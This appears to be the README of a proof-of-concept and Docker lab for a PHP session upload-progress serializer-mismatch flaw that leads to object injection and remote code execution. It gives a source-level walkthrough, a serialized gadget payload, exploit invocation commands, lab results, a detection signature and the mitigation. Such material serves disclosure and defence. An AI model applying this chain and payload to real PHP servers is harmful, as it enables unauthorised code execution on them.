
Proof-of-concept and Docker lab for CVE-2026-115560: unauthenticated PHP session upload-progress serialize_handler mismatch leading to object injection and RCE.
Proof-of-concept for the unpatched PHP vulnerability disclosed in the php.net informational advisory of 2026-10-23, two days after the PHP2Shell emergency release (CVE-2026-109618 / -109619).
session.upload_progress.enabled=0php:8.4.27-apache (mod_php) — i.e. a build fully
patched for PHP2Shell is still vulnerable to this issueAll three must hold (php.net, 2026-10-23):
session.serialize_handler = php_binary or php_serialize in the server configphp at runtime via
ini_set() before session_start()session.upload_progress.enabled = 1 (PHP default)PHP-8.4Session upload progress (ext/session, the rfc1867 callback) runs pre-RINIT, before any application code:
| step | source | what happens |
|---|---|---|
| write | php_session_rfc1867_callback → MULTIPART_EVENT_FILE_START → php_rinit_session(0) | PS(serializer) is resolved from the server ini (php_serialize) |
| write | php_session_rfc1867_update() → php_session_flush(1) | session file is written immediately, in php_serialize format, containing upload_progress_<value> as a raw, unsanitized array key — the value of the attacker's PHP_SESSION_UPLOAD_PROGRESS field. ` |
| read | application: ini_set('session.serialize_handler','php') → OnUpdateSerializer | re-points PS(serializer) — allowed while the session is not active |
| read | session_start() → PS_SERIALIZER_DECODE_FUNC(php) | the php handler decodes key|serialized pairs and splits at the **first ` |
| pop | PHP_VAR_UNSERIALIZE_DESTROY(var_hash) | runs on the SUCCESS and FAILURE paths, so the gadget's __destruct fires even though the overall decode returns FAILURE (trailing session junk after the payload) |
Resulting session file (captured mid-upload from the lab, docker exec):
a:1:{s:56:"upload_progress_|O:9:"LabGadget":1:{s:3:"cmd";s:2:"id";}";a:5:{s:10:"start_time";i:1792774742;…}}
^
the "php" handler splits here; everything after it is unserialize()d
With the default session.upload_progress.cleanup=1, MULTIPART_EVENT_END
deletes the progress key when the upload finishes — and every parse exit
path reaches fileupload_done: in main/rfc1867.c, so a client abort does not
help. The payload therefore lives in the session file only while the upload
is in flight. Two facts make the race deterministic in practice:
flock(LOCK_EX) only around each brief
initialize→flush cycle (php_session_flush(1) calls s_close), so
concurrent readers are not blocked for the duration of the upload;post_max_size caps the size, not the
duration), keeping the window open for minutes if desired.In the lab: a 2–4 MiB upload at 16 KiB/0.1–0.15 s gives a 13–38 s window; the consumer wins after ~3 s every run.
The rfc1867 MULTIPART_EVENT_FORMDATA handler accepts PHPSESSID from the
POST body without consulting session.use_only_cookies, so the producer
needs no cookie. (The consumer request goes through normal session_start(),
which does require the cookie under the default use_only_cookies=1.)
lab/
├── Dockerfile php:8.4.27-apache + writable /var/www/html/p (proof drop dir)
├── docker-compose.yml
├── conf/99-vuln.ini php_serialize + upload_progress ON (PHP defaults restated)
├── conf/99-mitigated.ini same + session.upload_progress.enabled=0 (official mitigation)
└── src/
├── index.php vulnerable app: ini_set switch to "php" + session_start() + LabGadget
├── noswitch.php control endpoint: no switch → same handler read/write → harmless
└── info.php JSON dump of the relevant global ini values
LabGadget (a class whose __destruct runs shell_exec($this->cmd)) stands in
for any real gadget class reachable at unserialize() time; against a real
application the gadget comes from its dependency tree (Monolog/Guzzle/…).
$ ./lab.sh up # vuln :8094, mitigated :8097 (builds image, waits for health)
$ python3 poc.py check --target http://127.0.0.1:8094
$ python3 poc.py exploit --target http://127.0.0.1:8094 --cmd "id"
$ ./lab.sh teardown # containers + volumes + image removed
| target | expected | result |
|---|---|---|
:8094/index.php (vulnerable) | RCE | ✅ uid=33(www-data)… in 3.3 s (1108 reads) — reproduced, 3.3 s again (1724 reads) |
:8097/index.php (mitigation upload_progress.enabled=0) | no RCE | ✅ no result (89459 reads) |
:8094/noswitch.php (no runtime switch) | no RCE | ✅ no result (82912 reads) |
Server-side signature on the vulnerable target while the consumer wins:
PHP Warning: session_start(): Failed to decode session object. Session has been destroyed in …/index.php on line 21
— the decode fails, but the injected object's __destruct has already run.
ini_set switch is unusual),
which is why PHP is fixing it in the regular cycle — but the feature
combination is on-by-default on the write side.session.upload_progress.enabled = 0 ; php.ini / FPM pool / server config — NOT ini_set()
then restart all PHP workers. Verified effective by the :8097 control above.
PHP-8.4: ext/session/session.c (rfc1867 callback, php decode
func, OnUpdateSerializer), main/rfc1867.c (fileupload_done)python3 exploit/exploit.py runs the full chain (exit 1 exploited, 0 safe).